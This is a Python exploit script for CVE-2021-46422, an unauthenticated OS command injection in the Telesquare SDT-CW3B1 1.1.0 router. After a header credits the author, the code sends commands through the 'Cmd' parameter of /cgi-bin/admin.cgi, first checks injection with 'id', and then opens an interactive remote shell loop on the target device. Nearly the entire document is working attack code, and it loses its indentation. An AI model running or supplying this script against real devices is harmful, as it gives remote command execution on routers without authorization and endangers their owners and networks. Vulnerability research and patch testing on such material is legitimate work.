Telesquare SDT-CW3B1 1.1.0 Command Injection

#!/usr/bin/python3 

# Exploit Title: Telesquare SDT-CW3B1 1.1.0 - OS Command Injection
# Date: 24th May 2022
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: http://telesquare.co.kr/
# CVE : CVE-2021-46422
# Authentication Required: No

import requests 
import argparse 
import sys
from xml.etree import ElementTree

def sysArgument():
ap = argparse.ArgumentParser()
ap.add_argument("--host", required=True, help="target hostname/IP")
args = vars(ap.parse_args())
return args['host']

def checkHost(host):
url = "http://" + host

print("[*] Checking host is it alive?")

try:
rsl = requests.get(url) 
print("[*] The host is alive.")
except requests.exceptions.Timeout as err:
raise SystemExit(err)

def exploit(host):
url = "http://" + host + "/cgi-bin/admin.cgi?Command=sysCommand&Cmd=" 

#checking does the CGI exists?
rsl = requests.get(url)

if(rsl.status_code == 200):
print("[*] CGI script exist!")
print("[*] Injecting some shell command.")

#1st test injecting id command
cmd = "id"

try:
rsl = requests.get(url + cmd, stream=True)
xmlparser = ElementTree.iterparse(rsl.raw)

cmdRet = []

for event, elem in xmlparser:
if(elem.tag == 'CmdResult'):
cmdRet.append(elem.text)
except:
print("[!] No XML returned from CGI script. Possible not vulnerable to the exploit")
sys.exit(0)

if(len(cmdRet) != 0):
print("[*] There's response from the CGI script!")
print('[*] System ID: ' + cmdRet[0].strip())

print("[*] Spawning shell. type .exit to exit the shell", end="\n\n")
#start shell iteration
while(True):
cmdInput = input("[SDT-CW3B1 Shell]# ")

if(cmdInput == ".exit"):
print("[*] Exiting shell.")
sys.exit(0)

rsl = requests.get(url + cmdInput, stream=True)
xmlparser = ElementTree.iterparse(rsl.raw)


for event, elem in xmlparser:
if(elem.tag == 'CmdResult'):
print(elem.text.strip())

print('\n')

else:
print("[!] Something doesn't looks right. Please check the request packet using burpsuite/wireshark/etc.")
sys.exit(0)

else:
print("[!] CGI script not found.")
print(rsl.status_code)
sys.exit(0)

def main():
host = sysArgument()

checkHost(host)
exploit(host)

if  __name__ == "__main__":
main()
            

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